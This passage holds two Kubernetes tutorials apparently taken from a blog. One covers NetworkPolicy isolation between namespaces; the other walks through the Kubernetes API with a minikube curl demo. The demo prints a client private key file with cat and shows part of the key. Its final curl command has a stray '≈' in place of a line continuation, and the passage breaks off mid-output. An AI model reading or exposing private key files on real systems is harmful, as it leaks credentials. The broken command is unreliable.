<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>
100   615  100   615    0     0   405k      0 --:--:-- --:--:-- --:--:--  600k
```

In this code, we exec into pod demo1 in the dev1 namespace and try to curl the IP of pod demo2 in dev2 namespace, this shows that any pod can communicate with any other pod in any namespace.

Now how can we fix this? You are right! Using `NetworkPolicy`.

## **Creating a Network Policy**

Let’s create a network policy in the dev2 namespace so that no traffic can reach the pods in the dev2 namespace.

```bash
cat << EOF | kubectl apply -f -
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-all
  namespace: dev2
spec:
  podSelector: {}
  policyTypes:
  - Ingress
EOF
networkpolicy.networking.k8s.io/deny-all created
```

Above is the manifest for all the pods in dev2 namespace. The purpose of this policy is to restrict all incoming traffic to the pods within the dev2 namespace. Here's a breakdown of how it works:

* `apiVersion`: [`networking.k8s.io/v1`](http://networking.k8s.io/v1): Specifies the API version for the network policy resource.
    
* `kind`: `NetworkPolicy`: This specifies the kind of Kubernetes resource you're defining, which in this case is a Network Policy.
    
* `metadata`: Contains metadata about the network policy, including its name (deny-all) and the namespace (dev2) it is applied to.
    
* `spec`: Defines the specifications of the Network Policy.
    
    * `podSelector`: This is set to an empty object ({}), which means the policy applies to all pods within the specified namespace (dev2 in this case). You could specify label selectors here if you wanted to target specific pods.
        
    * `policyTypes`: Specifies the types of policies. In this case, it includes - Ingress, which means the policy will apply to incoming traffic to the pods. By not specifying Egress in the policy types, this policy does not restrict egress (outgoing) traffic from the pods.
        
* `Ingress`: Since no rules are defined under the ingress section (which is implicitly understood from the lack of an ingress field under spec), it means no inbound connections are allowed to any pods in the dev2 namespace. You would define rules here if you wanted to allow specific types of ingress traffic.
    

The following outcome should appear:

```bash
kubectl exec demo1 -n dev1 -- curl --connect-timeout 5 10.0.1.185
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0     0    0     0    0     0      0      0 --:--:--  0:00:02 --:--:--     0     0    0     0    0     0      0      0 --:--:--  0:00:03 --:--:--     0     0    0     0    0     0      0      0 --:--:--  0:00:04 --:--:--     0     0    0     0    0     0      0      0 --:--:--  0:00:05 --:--:--     0
curl: (28) Failed to connect to 10.0.1.185 port 80 after 5001 ms: Timeout was reached
command terminated with exit code 28
```

You can see that after applying this policy no traffic can reach the pods in the dev2 namespace.

![Civo Creating a Network Policy](https://civo-com-assets.ams3.digitaloceanspaces.com/content_images/2668.blog.png?1710250563 align="left")

### **Receiving incoming TCP traffic**

Next, let’s try to cover a couple more scenarios to understand the concept more clearly. Next, we will create a network policy that would allow the traffic from pods in dev1 namespace to dev2 namespace over port 80.

```bash
cat << EOF | kubectl apply -f -
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: kube-demo
  namespace: dev2
spec:
  podSelector: {}
  ingress:
  - from:
    - namespaceSelector:
        matchLabels:
          kubernetes.io/metadata.name: dev1
    ports:
    - protocol: TCP
      port: 80
EOF
networkpolicy.networking.k8s.io/kube-demo created
```

Here’s a breakdown of what is happening in the above code:

* `spec`: Defines the specifics of the Network Policy.
    
    * `podSelector`: An empty object ({}) is specified, meaning this policy applies to all pods within the dev2 namespace. If you wanted this policy to apply to specific pods, you would use label selectors here.
        
    * `ingress`: Specifies the rules for incoming traffic to the selected pods.
        
        * `from`: Defines the sources from which the pods can receive traffic.
            
            * `namespaceSelector`: Specifies that the incoming traffic is allowed from pods in namespaces that match the specified labels. In this case, it's allowing traffic from the dev1 namespace, as indicated by the label selector kubernetes.io/metadata.name: dev1.
                
        * `ports`: Specifies the ports and protocols for the incoming traffic that is allowed.
            
            * `protocol`: The allowed protocol for ingress traffic, which is TCP in this case.
                
            * `port`: The port on which incoming traffic is allowed, which is port 80.
                

This network policy allows pods in the dev2 namespace to receive incoming TCP traffic on port 80 from any pod in the dev1 namespace. No other ingress traffic is permitted by this policy, effectively isolating the pods in dev2 from unwanted or unsolicited incoming traffic from pods in other namespaces, except for the allowed traffic from dev1.

### **Network Policy Example**

Interestingly if you have a previous policy of deny all and this policy as well, it will be a combination, and the resultant will allow traffic on port 80 from pods in dev1 namespace to dev2 namespace.

You can check the output below:

```bash
kubectl exec demo1 -n dev1 -- curl --connect-timeout 5 10.0.1.185
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--   100   615  100   615    0     0   267k      0 --:--:-- --:--:-- --:--:--  300k
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>
```

To check that traffic is not allowed from any other namespace or on any other port, let's create a pod in the dev2 namespace listening on a different port than 80 and a pod in default namespace as well:

```bash
kubectl run default --image=nginx
pod/default created

kubectl get pods -owide
NAME                                 READY   STATUS      RESTARTS   AGE    IP           NODE                                                   NOMINATED NODE   READINESS GATES
default                              1/1     Running     0          26s    10.0.2.237   k3s-networkpolicies-7aed-fb151a-node-pool-71b0-jl4q3   <none>           <none>

kubectl exec default -- curl --connect-timeout 5 10.0.1.185
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0     0    0     0    0     0      0      0 --:--:--  0:00:02 --:--:--     0     0    0     0    0     0      0      0 --:--:--  0:00:03 --:--:--     0     0    0     0    0     0      0      0 --:--:--  0:00:04 --:--:--     0     0    0     0    0     0      0      0 --:--:--  0:00:05 --:--:--     0
curl: (28) Failed to connect to 10.0.1.185 port 80 after 5000 ms: Timeout was reached
command terminated with exit code 28
```

Now lets try to create a pod and service to listen on port 8080:

```bash
kubectl run http-echo --image=hashicorp/http-echo -n dev2 -- -listen=:8080 -text="Hello from http-echo"

pod/http-echo created

kubectl get pods -n dev2 -owide
NAME         READY   STATUS    RESTARTS   AGE   IP           NODE                                                   NOMINATED NODE   READINESS GATES
demo2        1/1     Running   0          80m   10.0.1.185   k3s-networkpolicies-7aed-fb151a-node-pool-71b0-6ko85   <none>           <none>
http-echo   1/1     Running   0          26s   10.0.1.115   k3s-networkpolicies-7aed-fb151a-node-pool-71b0-6ko85   <none>           <none>
```

### **Creating a service**

Create the service using the following:

```bash
kubectl expose pod http-echo -n dev2 --port=8080
service/http-echo exposed
kubectl get svc -n dev2
NAME        TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)     AGE
http-echo   ClusterIP   10.98.167.221    <none>        8080/TCP   28s
```

```bash
kubectl exec demo1 -n dev1 -- curl --connect-timeout 5 10.98.167.221
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:05 --:--:--     0
curl: (28) Failed to connect to 10.98.167.221 port 80 after 5000 ms: Timeout was reached
command terminated with exit code 28
```

The kube-demo NetworkPolicy that was applied to all pods in the dev2 namespace (since podSelector is empty), allows them to receive incoming TCP traffic on port 80 only from pods within the dev1 namespace (identified by the label kubernetes.io/metadata.name: dev1). All other incoming traffic from different namespaces, or different ports, will be denied by default, as this is the standard behavior of Kubernetes NetworkPolicies when they are applied to a set of pods. We proved that with a pod in the default namespace and also by running a pod on port 8080 and trying to connect to it also failed.

## **Summary**

Throughout this tutorial, you should now have a better understanding of how you can apply network policies within your Kubernetes cluster to limit the ingress/egress traffic for the pods. Another interesting way to learn more about this topic is by using [this tool](https://editor.networkpolicy.io/) which allows you to create network policies for Kubernetes and gain a better understanding of the concept.

![Network Policy Tool](https://civo-com-assets.ams3.digitaloceanspaces.com/content_images/2667.blog.png?1710250526 align="left")

If you want other resources to keep learning more about this topic, I recommend checking out the following:

* [Kubernetes Documentation on network policies](https://kubernetes.io/docs/concepts/services-networking/network-policies/)
    
* [Kubernetes network policy recipes](https://github.com/ahmetb/kubernetes-network-policy-recipes)
    

Follow Kubesimplify on [**Hashnode**, **Twitte**](https://blog.kubesimplify.com/)[**r** and **Li**](https://twitter.com/kubesimplify)[**nkedIn**. Join o](https://www.linkedin.com/company/kubesimplify)ur [**Discord server** to learn with](https://kubesimplify.com/discord) us!

---

# Practical Guide to Kubernetes API

- Canonical: https://blog.kubesimplify.com/practical-guide-to-kubernetes-api
- Published: 2024-03-19
- Summary: In this practical guide, we'll cover the fundamental aspects of the Kubernetes API to help you navigate it confidently.

You're probably familiar with [Kubernetes](https://kubernetes.io/), the **open-source platform** designed by Google and now maintained by the [Cloud Native Computing Foundation (CNCF)](https://www.cncf.io/), which automates the **deployment**, **scaling**, and **management** of containerized applications.

But, did you know that under-the-hood, **Kubernetes is an API.**

That’s right! **Every action you take within Kubernetes, from creating pods to monitoring services, is ultimately an API interaction.**

The Kubernetes API serves as the backbone of the platform, providing a unified interface for managing and interacting with Kubernetes resources. While you may already be using `kubectl`, the [official Kubernetes CLI tool](https://kubernetes.io/docs/reference/kubectl/) to interact with your cluster, understanding the API grants you deeper control over your cluster, allowing you to automate tasks, customize configurations, and integrate Kubernetes with other tools and systems.

Now, **Kubernetes API is massive** — with hundreds of endpoints and concepts involved. Truth be told, it’s a bit more advanced than just a bunch of **HTTP endpoints** thrown together and for someone new, let’s just say things can get a bit overwhelming at first, if not approached it correctly.

That's where this blog comes in. In this practical guide, **we'll cover the fundamental aspects of the Kubernetes API to help you navigate it confidently.** Whether you're a developer, a system administrator, or simply curious about Kubernetes, this guide will provide you with the knowledge and skills needed to get started on the path of harnessing the power of the Kubernetes API effectively.

# Understanding the Basics

Before proceeding to the main API concepts, let us first get some basics right about the Kubernetes API.

## RESTful Nature

The Kubernetes API is **RESTful in nature**, which simply means that it follows the [REST (Representational State Transfer) architectural style](https://www.notion.so/Research-understand-imp-topics-to-cover-545e05df37f845da9817a7c591dabb39?pvs=4) and standards for communication.

We’ll not go into the details of the REST architecture here, but it’s important to understand that RESTful APIs adheres to **a set of principles** and getting familiar with them would in turn help us in understanding the nature of the Kubernetes API itself. For example:

* **Stateless Communication** - Each request from a client to the server must contain all the information needed to understand and fulfill the request, without relying on any previous interactions. That means, every time you talk to the Kubernetes API, you don't need to remember past API calls. Each interaction is independent, like sending a new message without needing to refer back to old ones.
    
* **Uniform Interface -** Due to it’s RESTful nature, the **Kubernetes API is pretty consistent** and has a standardized interface of communication. This actually is helpful for us, because one just needs to understand a limited number of patterns and then apply that knowledge to understand the rest of the API. So, thats a win for us!
    
* **Self-descriptive Messages** - RESTful APIs use descriptive messages to communicate between the client and server. This means that each interaction includes information about what action is being requested and how to process it. For example, when you send a request to the Kubernetes API, the response will include clear indications of whether the request was successful, along with any relevant data or error messages. This **self-descriptive nature** simplifies the communication process, making it easier to understand and troubleshoot interactions with the Kubernetes API.
    

## Exposing the K8s API

Apart from it being RESTful in nature, it’s essential to know that **API server component of the control plane is the one that exposes the Kubernetes API to users and other components within the cluster.** Officially, the implementation is called [kube-apiserver](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/) and this enables the end users, different parts of your cluster, and external components communicate with one another.

The API server acts as the **first point of contact** for any external user or request to the cluster and all the internal operations are channeled through the API server component as well.

> 📍 Not familiar with the API server or in general the Kubernetes architecture? Feel free to check out the [Kubernetes 101 Workshop](https://www.youtube.com/watch?v=PN3VqbZqmD8&t=950s) for more clarity.

## Ways of **Accessing the API**

We understand that at the end of the day, **every operation performed in Kubernetes is an API call and involves accessing the core K8s API is some way.** Interestingly, there are different ways to access the Kubernetes API, catering to different use cases and preferences:

1. **Via kubectl**: `kubectl` is the official command-line tool for Kubernetes and provides a convenient way to interact with the Kubernetes API. It simplifies tasks like **creating**, **updating**, and **deleting** resources using intuitive commands.
    
    For instance, here is a command to fetch all the running pods in a cluster:
    
    ```bash
    $ kubectl get pods
    
    NAME    READY   STATUS    RESTARTS   AGE
    demo    1/1     Running   0          27s
    demo2   1/1     Running   0          23s
    demo3   1/1     Running   0          17s
    ```
    
2. **Through Simple REST Calls via**`curl`: If you are comfortable with HTTP requests, the Kubernetes API can be also be accessed directly through simple REST calls using the [`curl` CLI command](https://curl.se/). This allows for more granular control and customization of API interactions.
    
    The same request of fetching all the running pods using the `curl` command looks something like:
    
    ```bash
    # Simple Request
    $ curl -s http://127.0.0.1:8080/api/v1/namespaces/default/pods
    
    {
      "kind": "PodList",
      "apiVersion": "v1",
      "metadata": {
        "resourceVersion": "3606"
      },
      "items": [
        {
          "metadata": {
            "name": "demo",
            "namespace": "default",
            "uid": "9cbf8ea4-9fbf-4824-a170-6cace6888a57",
            "resourceVersion": "2693",
            "creationTimestamp": "2024-03-14T05:51:03Z",
            "labels": {
              "run": "demo"
            },
    ....
    ```
    
    ```bash
    # Formatted Request
    $ curl -s http://127.0.0.1:8080/api/v1/namespaces/default/pods | jq '.items[].metadata.name'
    
    "demo"
    "demo2"
    "demo3"
    ```
    
3. **Using Client Libraries**: Kubernetes also offers a set of [client libraries](https://kubernetes.io/docs/reference/using-api/client-libraries/) in various programming languages (such as **Python**, **Go**, **Java**) for those looking to develop applications that interact with the Kubernetes API. These libraries abstract away the complexities of making HTTP requests and makes it easier to build applications that interact with Kubernetes.
    
    For instance, have a look at this [code snippet in Go](https://github.com/kubernetes/client-go/blob/master/examples/out-of-cluster-client-configuration/main.go) that fetches all the running pods in a cluster.
    

# API Structure Breakdown

Now that we have a basic familiarity with the nature of the Kubernetes API, we'll now break down the internal structure of the Kubernetes API to give you a clear understanding of how it works.

![Kubernetes API Breakdown](/img/blog/practical-guide-to-kubernetes-api/08f1283c-e7ea-4406-bd8c-3eb9e15ec5d6.png align="center")

## Resources and Verbs

Alright, let us start from up top!

As we are trying to understand a RESTful API here, the communication primarily revolves around resources and verbs. By definition:

> Resources represent the entities you want to interact with, while verbs specify the actions you can perform on those resources.

In simple terms, resources are the **"things"** you want to work with. In case of Kubernetes, we have **pods, services, or deployments** etc. Verbs, on the other hand, are the **"actions"** you can take on those things, **such as create, get, update, or delete.**

In conclusion, each resource is treated as a separate entity and is basically the endpoint of the API, that can be accessed and manipulated independently.

Now, let's apply this concept to the Kubernetes API. In Kubernetes, these resources or API endpoints are officially called as [resources types](https://kubernetes.io/docs/reference/using-api/api-concepts/#standard-api-terminology), though in practice, we simply refer to them as **“resources”**. These are the ones that you’ll find at the end of the request URI. For example, take a look at this request below:

```bash
$ kubectl get --raw /api/v1/namespaces/default/pods
```

Here, `/pods` represents the `pods` resource type or endpoint of the API.

Extending this a bit further, a single instance of a resource type is called a **resource**, which often represents a [Kubernetes object](https://kubernetes.io/docs/concepts/overview/working-with-objects/) such as a pod, deployment, namespace etc. For example, take a look at this request below:

```bash
$ kubectl get --raw /api/v1/namespaces/default/pods/nginx-7c7db887d8-dkkcg
```

Here, we are querying the API to fetch the pod - `nginx-7c7db887d8-dkkcg`, which is a Kubernetes object or resource and is a single instance of the `pods` resource type.

> **💡 Note**
> 
> In the examples above, you have noticed we are using `kubectl` with the `—-raw` flag to send request to the API. This is the `kubectl` raw mode!
> 
> `kubectl` raw mode is a special feature (pretty handy one as well) allows you to interact with the Kubernetes API directly, bypassing some of the built-in `kubectl` functionality.
> 
> **Why it’s useful?**
> 
> This is useful when you need more flexibility and control over your API requests, such as when troubleshooting or debugging complex issues, or when you want to interact with Kubernetes resources in ways that aren't supported by the standard `kubectl` commands.

Let’s move onto Verbs. As mentioned above, Verbs are the “actions” you are allowed to perform on the resources (or, resource types in case of Kubernetes).

Talking about the Kubernetes API, all the standard HTTP verbs are supported with some additional ones added to the list. Below is a list of all the operations you can perform (taken from [sig-architecture/api-conventions.md](https://github.com/kubernetes/community/blob/7f3f3205448a8acfdff4f1ddad81364709ae9b71/contributors/devel/sig-architecture/api-conventions.md#verbs-on-resources)):

* `GET /<resourceNamePlural>`: Retrieves a list of resources of type `<resourceName>`. For instance, `GET /pods` returns a list of Pods.
    
* `POST /<resourceNamePlural>`: Creates a new resource based on the JSON object provided by the client.
    
* `GET /<resourceNamePlural>/<name>`: Fetches a single resource with the given name. For example, `GET /pods/first` retrieves a Pod named “first”.
    
* `DELETE /<resourceNamePlural>/<name>`: Deletes a single resource with the given name.
    
* `DELETE /<resourceNamePlural>`: Deletes a list of resources of type `<resourceName>`. For instance, `DELETE /pods` removes a list of Pods.
    
* `PUT /<resourceNamePlural>/<name>`: Updates or creates the resource with the given name using the JSON object provided by the client.
    
* `PATCH /<resourceNamePlural>/<name>`: Selectively modifies specified fields of the resource.
    
* `GET /<resourceNamePlural>?watch=true`: Receives a stream of JSON objects corresponding to changes made to any resource of the given kind over time.
    

In summary, when we are dealing with a RESTful API like Kubernetes, communication primarily revolves around resources and verbs.

**Resources denote the entities you interact with, while verbs signify the actions you can perform on them.** In the Kubernetes API, these resources, or API endpoints, are referred to as resource types. Each resource type represents a distinct entity that can be accessed and manipulated independently. Furthermore, a single instance of a resource type is termed a resource, often representing a Kubernetes object like a pod or deployment.

Transitioning to verbs, they dictate the actions permissible on resources. In the Kubernetes API, standard HTTP verbs are supported, with additional ones included (such as `PATCH`). These include operations such as retrieving a list of resources, creating new resources, updating or deleting specific resources, and selectively modifying resource fields.

## API Groups and Versions

In previous section we studied about resource types. As mentioned previously, Kubernetes API is massive and there are lot of different resource types involved — as we can now imagine!

For the purpose of increasing simplicity and extending the API’s capabilities, the resource types are carefully organized into [API groups](https://kubernetes.io/docs/reference/using-api/#api-groups), with each group serving a different purpose.

Below are the two main API groups that are essential to understand:

1. **The Core Group:** The **core (also called legacy) group** is found at REST path - `/api`. This particular endpoint is only used by core K8s resources such as pods, secrets, configmaps, etc. You'll typically find this mentioned in a `yaml` file as - `apiVersion: v1` field.  
    For instance, consider the pod specification `yaml` file below:
    
    ```yaml
    apiVersion: v1
    kind: Pod
    metadata:
      name: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1.14.2
        ports:
        - containerPort: 80
    ```
    
2. **Named Group:** The named groups are a bit more **modern and generic** which can be found at the REST path - `/apis/<group-name>`. This endpoint is used by all the other resources (including [custom resources](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/)) and deals with specific areas like networking or storage. In a typical Kubernetes yaml file, you'll spot this as `apiVersion: $GROUP_NAME/$VERSION`.  
    For instance, take a look at this yaml specification for a [Kubernetes Job](https://kubernetes.io/docs/concepts/workloads/controllers/job/):
    
    ```yaml
    apiVersion: batch/v1
    kind: Job
    metadata:
      name: pi
    spec:
      template:
        spec:
          containers:
          - name: pi
            image: perl:5.34.0
            command: ["perl",  "-Mbignum=bpi", "-wle", "print bpi(2000)"]
          restartPolicy: Never
      backoffLimit: 4
    ```
    

One thing you may have already noticed from the section above is how we also mention a specific version with each API group (whether core or named groups). This is a standard practice followed throughout the entire Kubernetes API. **Each API group is versioned independently that evolves over time, moving through different stages of development and use:**

* `alpha` - Experimental, potentially unstable.
    
* `beta` - More tested but still subject to change.
    
* `stable` or `GA` (General Availability) - Reliable and ready for production use.
    

You can refer the full list of all the API groups with their versions in the [K8s API reference](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.29/#api-groups) or use a simple command of `kubectl api-resources` to do the same:

```bash
$ kubectl api-resources

NAME                              SHORTNAMES   APIVERSION                        NAMESPACED   KIND
bindings                                       v1                                true         Binding
componentstatuses                 cs           v1                                false        ComponentStatus
configmaps                        cm           v1                                true         ConfigMap
endpoints                         ep           v1                                true         Endpoints
events                            ev           v1                                true         Event
limitranges                       limits       v1                                true         LimitRange
namespaces                        ns           v1                                false        Namespace
nodes                             no           v1                                false        Node
persistentvolumeclaims            pvc          v1                                true         PersistentVolumeClaim
persistentvolumes                 pv           v1                                false        PersistentVolume
pods                              po           v1                                true         Pod
...
```

> 💡 Interesting Fact
> 
> Did you know that in the latest Kubernetes v1.29 release, there are a total of 49 enhancements which includes:
> 
> * 11 features - `stable` or GA stage
>     
> * 19 features - `beta` stage
>     
> * 19 features - `alpha` stage
>     
> 
> Check out the detailed breakdown of K8s 1.29 in [this video](https://youtu.be/yoMlS-VVbNc?si=JkiQAhIYXgku3P0T) and you may also refer the [official release blog](https://kubernetes.io/blog/2023/12/13/kubernetes-v1-29-release/) to know more!
> 
> ![Kubernetes enhancements (stable, beta, alpha)](/img/blog/practical-guide-to-kubernetes-api/796fb3fd-b74a-43c8-b019-9cd97496dc97.png align="center")

In summary, the resource types in Kubernetes API are organized into API Groups for easier management and increasing Kubernetes’s capabilities.

The core API group, accessed at `/api`, handles **fundamental Kubernetes resources** like pods and secrets, often denoted by `apiVersion: v1` in YAML files. On the other hand, named API groups, found at `/apis/<group-name>`, cater to more specialized resources such as networking or storage, indicated by `apiVersion: $GROUP_NAME/$VERSION`.

Throughout the Kubernetes API, each API group is **versioned independently**, moving through stages like `alpha`, `beta`, and `stable` or `GA` (General Availability). This ensures that the API evolves reliably for production use.

## Kind (Object Schema)

If you have worked with Kubernetes before and know your way around a typical Kubernetes yaml manifest, you've likely come across the `kind` field. For example - `kind: Pod`, `kind: Ingress`, `kind: Deployment` and so on.

```yaml
apiVersion: batch/v1
kind: Job
metadata:
  name: pi
spec:
  template:
    spec:
      containers:
      - name: pi
        image: perl:5.34.0
        command: ["perl",  "-Mbignum=bpi", "-wle", "print bpi(2000)"]
      restartPolicy: Never
  backoffLimit: 4
```

Viewing this from a beginner’s perspective, you might assume that `kind` denotes the name of the resource being created in Kubernetes i.e. a `Pod`, `Ingress`, `Deployment` etc. written in **PascalCase format**. But in reality, thats actually not the case!

In terms of Kubernetes, each resource (or, **resource type** when referring to the K8s API) is represented by an object ([Kubernetes object](https://kubernetes.io/docs/concepts/overview/working-with-objects/) to be specific) having a specific “schema” associated with it, called `Kind`. In simpler terms, **a schema is like a blueprint that defines how a particular resource (or, object) looks and behaves.**

Essentially, `Kind` specifies the structure, properties, and behavior of a particular resource, including what attributes it has and how those attributes can be used or modified. Essentially, **it outlines the rules and guidelines for working with that specific resource type within a Kubernetes cluster.**

Now, as per the [sig-architecture API convention](https://github.com/kubernetes/community/blob/7f3f3205448a8acfdff4f1ddad81364709ae9b71/contributors/devel/sig-architecture/api-conventions.md#types-kinds), kinds are grouped into three categories:

* **Objects** (`Pod`, `Service`, etc) - persistent entities in the system.
    
* **Lists** (`PodList`, `APIResourceList`, etc) - collections of resources of one or more kinds.
    
* **Simple** - specific actions on objects (`status`, `scale`, etc.) **or** non-persistent auxiliary entities (`ListOptions`, `Policy`, etc).
    

You may think that — all this is good to know, but what is the actual importance of `Kind` in the Kubernetes API and why are we discussing this today?

Turns out, this particular field is important when it comes to client - server communication. It allows proper **serialization** and **deserialization** of the specified object (mentioned in the `Kind` field) before transmitting them over a network or storing them.

> 📍A Quick Tour - Concept of **Serialization** & **Deserialization**
> 
> Serialization and Deserialization refers to the process of converting data (such as objects, structures, or variables) into a format that can be easily transmitted over a network or stored in a database, and then converting it back to its original form when received by another system.
> 
> Talking in terms of the Kubernetes API to give you a better idea, when it comes to sending a request to the cluster to perform a certain operation on a resource — such as create, update, or retrieve, we need to “serialize the data” in the request i.e. convert it into a format that the Kubernetes API understands, typically [JSON or YAML](https://www.bairesdev.com/tools/json2yaml/). Sounds familiar, right?
> 
> Once the Kubernetes API receives this serialized data, it “deserializes it” i.e. converts it back into its original form. This allows the Kubernetes API to process the request, validate the data, and perform the necessary actions, such as creating or updating resources within the cluster.
> 
> ![](/img/blog/practical-guide-to-kubernetes-api/b0ee0737-5109-4687-b08b-a0639f9975b1.png align="center")
> 
> There’s more!
> 
> Interestingly, when the Kubernetes API sends the response back to the client, it serializes the data before transmitting it over the network. The client then deserializes the response, which allows it to interpret and use the data as needed.

# Demo - List all the Running Pods in a Cluster

Alright, throughout the previous sections we have talked a lot about the “theory” of the Kubernetes API and now have a basic idea of how it’s structured.

Let's roll up our sleeves and get our hands dirty with the Kubernetes API by making a request that lists down all the current running pods in the cluster.

## Prerequisites

To follow along, here is a list of all the prerequisites needed:

* [minikube](https://minikube.sigs.k8s.io/docs/start/) installed
    
* [kubectl](https://kubernetes.io/docs/tasks/tools/) CLI installed
    
* [curl](https://curl.se/) or any CLI tool for sending HTTP requests
    
* JSON Output formatter - [jq](https://jqlang.github.io/jq/) (a very handy tool)
    
* Basic knowledge of working with Kubernetes via `kubectl`
    

## Step 1 - Creating a Kubernetes Cluster

Here, we’ll use minikube to bootstrap a single node K8s cluster using the following command:

```bash
$ minikube start

😄  minikube v1.32.0 on Darwin 14.4 (arm64)
✨  Using the docker driver based on existing profile
👍  Starting control plane node minikube in cluster minikube
🚜  Pulling base image ...
🔥  Creating docker container (CPUs=2, Memory=7792MB) ...
🐳  Preparing Kubernetes v1.28.3 on Docker 24.0.7 ...
🔗  Configuring bridge CNI (Container Networking Interface) ...
🔎  Verifying Kubernetes components...
    ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
🌟  Enabled addons: storage-provisioner, default-storageclass

...
```

As the cluster creation process finishes, use the following command to check the cluster information:

```bash
$ kubectl cluster-info

Kubernetes control plane is running at <https://127.0.0.1:57403>
CoreDNS is running at <https://127.0.0.1:57403/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy>
```

Here, we’ll find the host URL i.e. **address of the control plane**, to which we’ll making our HTTP request. In this case, it’s - `https://127.0.0.1:57403`.

## Step 2 - Authenticating the API Server to the Client

As we have already studied above, the API server component in the control plane is the one thats responsible to expose the API to both the client and other components within the cluster.

Now, Kubernetes by default **restricts access to its API endpoints**. That means, in order for us to send any request, **we first need establish trust both ways i.e. between the API Server and the client, and vice versa.** Let us understand the first one here!

In Kubernetes, a method to authenticate the API server to the client is by using the **CA certificate (Certificate Authority)**.

> 📍 The CA certificate is a trusted certificate issued by the Kubernetes cluster that verifies the identity of the API server to the client.

In our case, we are using a local cluster bootstrapped by minikube, which has a CA certificate signed by `minikubeCA` (minikube’s own Certificate Authority). Therefore, in order to establish trust between the API server and the client, we need to manually point out the location of minikube’s CA certificate in our request, using the `--cacert` flag provided by `curl`:

```bash
$ curl --cacert ~/.minikube/ca.crt https://127.0.0.1:57403/api/v1/namespaces/default/pods

{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "pods is forbidden: User \\"system:anonymous\\" cannot list resource \\"pods\\" in API group \\"\\" in the namespace \\"default\\"",
  "reason": "Forbidden",
  "details": {
    "kind": "pods"
  },
  "code": 403
}
```

Now, interestingly this would fail when executed, because an additional authentication is still remaining to be done!

## Step 3 - Authenticating the Client to the API Server

Just as the API server authenticates itself to the client, the client also needs to authenticate itself to the API server. This ensures mutual trust between both parties.

Now, Kubernetes provides [several authentication methods](https://kubernetes.io/docs/reference/access-authn-authz/authentication/) for this purpose, but we’ll keep it simple and authenticate the request using client certificate and key.

> 📍 What is a Client Certificate and Client Key?
> 
> The client certificate is a digitally signed document issued by a trusted Certificate Authority (CA) that uniquely identifies the client (user). It contains information such as the client's identity (common name), a public key, and other metadata. When the client sends a request to the API server, it presents this certificate as proof of its identity.
> 
> Furthermore, the client key is the corresponding private key that pairs with the client certificate. It is securely stored and known only to the client. The key is used for cryptographic operations, such as encrypting data and generating digital signatures. When the client sends a request, it uses this key to prove ownership of the client certificate and to establish a secure connection with the API server.
> 
> In conclusion, the client certificate and key form a crucial part of the mutual TLS (Transport Layer Security) authentication, which ensures that both the client and the API server can trust each other's identities.

Luckily, in `minikube`, these credentials are typically generated during cluster initialization and stored securely and can be found here:

```bash
$ cat ~/.minikube/profiles/minikube/client.crt

-----BEGIN CERTIFICATE-----
MIIDITCCAgmgAwIBAgIBAjANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTI0MDMxNDA2MzAyOVoXDTI3MDMxNTA2MzAyOVowMTEXMBUGA1UE
ChMOc3lzdGVtOm1hc3RlcnMxFjAUBgNVBAMTDW1pbmlrdWJlLXVzZXIwggEiMA0G
...

$ cat ~/.minikube/profiles/minikube/client.key

-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAniVfcQgFFSa+OTgfD1LRO1p2FN4vRBqRynNv5n43iHpaYXtW
jIz4rPh230uXXfdpIGb9OBJ6Vrg1LN6eXtsS8e0mJgRR3n3vi0xecax+eB4kWATE
KdN4LwLDWociXXgk7TK6bkU5y8kXIn7lwnpq57sput+NV4JevFAlBdy2tKtci6UD
...
```

Overall, to make an authenticated request to the Kubernetes API, here are the credentials we need to provide:

* **minikube CA certificate**
    
* **client certificate**
    
* **client key**
    

## Step 4 - Making the HTTP request Using `curl`

Now, let use `curl` to send a request to the API, that will list down all the running pods in your cluster.

> **📍NOTE**
> 
> Before making the request, make sure you already have a few pods running in your newly created cluster to see some output in the end.
> 
> You can use `kubectl` in this case:
> 
> ```bash
> $ kubectl run demo --image=nginx
> 
> pod/demo created
> ```

Use the following command to make the HTTP request:

```bash
$ curl <https://127.0.0.1:57403/api/v1/namespaces/default/pods> \
--cacert ~/.minikube/ca.crt \
--cert ~/.minikube/profiles/minikube/client.crt ≈
--key ~/.minikube/profiles/minikube/client.key

{
